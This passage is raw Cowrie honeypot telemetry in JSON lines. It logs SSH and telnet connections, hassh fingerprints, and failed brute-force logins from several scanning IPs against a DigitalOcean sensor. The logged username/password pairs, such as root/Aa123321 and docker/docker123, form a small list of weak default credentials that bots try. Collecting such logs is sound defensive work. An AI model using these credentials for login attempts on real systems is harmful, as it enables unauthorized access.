16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:55.397946Z","src_ip":"94.26.106.229","session":"6afb3dbf7f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"p@ssw0rd","message":"login attempt [alex/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:55.671739Z","src_ip":"94.26.106.229","session":"6afb3dbf7f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45480,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2e3cead787c","protocol":"ssh","message":"New connection: 45.156.87.204:45480 (159.203.135.109:22) [session: d2e3cead787c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:55.828260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:55.833011Z","src_ip":"45.156.87.204","session":"d2e3cead787c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:55.915576Z","src_ip":"45.156.87.204","session":"d2e3cead787c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:56.164673Z","src_ip":"45.156.87.204","session":"d2e3cead787c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:56.778650Z","src_ip":"94.26.106.229","session":"6afb3dbf7f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:57.308326Z","src_ip":"45.156.87.204","session":"d2e3cead787c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.093111515045166,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:57.591708Z","src_ip":"152.42.224.71","session":"00e8a79197ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45482,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f961ab6bbb9","protocol":"ssh","message":"New connection: 45.156.87.204:45482 (159.203.135.109:22) [session: 3f961ab6bbb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:59.403407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:59.408729Z","src_ip":"45.156.87.204","session":"3f961ab6bbb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:59.654773Z","src_ip":"45.156.87.204","session":"3f961ab6bbb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:00.055221Z","src_ip":"45.156.87.204","session":"3f961ab6bbb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:01.140487Z","src_ip":"45.156.87.204","session":"3f961ab6bbb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49706,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e8bf28dfdc5","protocol":"ssh","message":"New connection: 45.156.87.204:49706 (159.203.135.109:22) [session: 7e8bf28dfdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:03.575283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:03.580672Z","src_ip":"45.156.87.204","session":"7e8bf28dfdc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:03.663381Z","src_ip":"45.156.87.204","session":"7e8bf28dfdc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:03.909942Z","src_ip":"45.156.87.204","session":"7e8bf28dfdc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:04.998773Z","src_ip":"45.156.87.204","session":"7e8bf28dfdc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49738,"dst_ip":"159.203.135.109","dst_port":22,"session":"df69dcd82afa","protocol":"ssh","message":"New connection: 45.156.87.204:49738 (159.203.135.109:22) [session: df69dcd82afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:07.120176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:07.124347Z","src_ip":"45.156.87.204","session":"df69dcd82afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:07.206497Z","src_ip":"45.156.87.204","session":"df69dcd82afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:07.452259Z","src_ip":"45.156.87.204","session":"df69dcd82afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:08.537764Z","src_ip":"45.156.87.204","session":"df69dcd82afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00197339057922,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:09.406030Z","src_ip":"152.42.224.71","session":"57404a73351b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":56382,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b2ab980acc0","protocol":"ssh","message":"New connection: 45.183.70.66:56382 (159.203.135.109:22) [session: 4b2ab980acc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:09.544060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:09.548312Z","src_ip":"45.183.70.66","session":"4b2ab980acc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:09.665083Z","src_ip":"45.183.70.66","session":"4b2ab980acc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60958,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b98cb902b2","protocol":"telnet","message":"New connection: 152.42.224.71:60958 (10.17.0.5:23) [session: 70b98cb902b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:09.967433Z"}
{"eventid":"cowrie.login.failed","username":"mahmoud","password":"mahmoud","message":"login attempt [mahmoud/mahmoud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:10.164253Z","src_ip":"45.183.70.66","session":"4b2ab980acc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49754,"dst_ip":"159.203.135.109","dst_port":22,"session":"aded1710fdbd","protocol":"ssh","message":"New connection: 45.156.87.204:49754 (159.203.135.109:22) [session: aded1710fdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:11.011377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:11.015630Z","src_ip":"45.156.87.204","session":"aded1710fdbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:11.099282Z","src_ip":"45.156.87.204","session":"aded1710fdbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:11.284125Z","src_ip":"45.183.70.66","session":"4b2ab980acc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:11.349302Z","src_ip":"45.156.87.204","session":"aded1710fdbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":11326,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f669248b0c7","protocol":"ssh","message":"New connection: 94.26.106.229:11326 (159.203.135.109:22) [session: 5f669248b0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:11.902470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:11.906936Z","src_ip":"94.26.106.229","session":"5f669248b0c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:11.991132Z","src_ip":"94.26.106.229","session":"5f669248b0c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"696","message":"login attempt [root/696] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:12.266575Z","src_ip":"94.26.106.229","session":"5f669248b0c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:12.438500Z","src_ip":"45.156.87.204","session":"aded1710fdbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":11320,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f21b16ab0e2","protocol":"ssh","message":"New connection: 94.26.106.229:11320 (159.203.135.109:22) [session: 9f21b16ab0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:12.817556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:12.821589Z","src_ip":"94.26.106.229","session":"9f21b16ab0e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:12.909557Z","src_ip":"94.26.106.229","session":"9f21b16ab0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60964,"dst_ip":"10.17.0.5","dst_port":23,"session":"61e965ec699f","protocol":"telnet","message":"New connection: 152.42.224.71:60964 (10.17.0.5:23) [session: 61e965ec699f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:12.958707Z"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:13.172387Z","src_ip":"94.26.106.229","session":"9f21b16ab0e2","protocol":"ssh"}
